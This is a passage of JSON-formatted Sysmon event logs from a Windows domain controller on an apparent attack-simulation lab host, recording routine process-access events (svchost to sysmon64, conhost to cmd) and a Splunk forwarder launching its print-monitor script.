C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.137","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3677,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.137\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.137","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3678,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.137\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.137","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3679,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.137\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.137","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3680,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.137\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.137","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3681,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.137\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.137","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3682,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.137\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.137","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3683,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.137\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-407F-5F2D-0000-00107D550500}\r\nTargetProcessId: 4824\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.137","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-407F-5F2D-0000-00107D550500}","TargetProcessId":"4824","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3684,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.248\r\nProcessGuid: {90617006-407F-5F2D-0000-0010EF580500}\r\nProcessId: 3236\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\system\\bin\\WinPrintMon.cmd\" --scheme\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.248","ProcessGuid":"{90617006-407F-5F2D-0000-0010EF580500}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c \"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\system\\bin\\WinPrintMon.cmd\" --scheme\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT 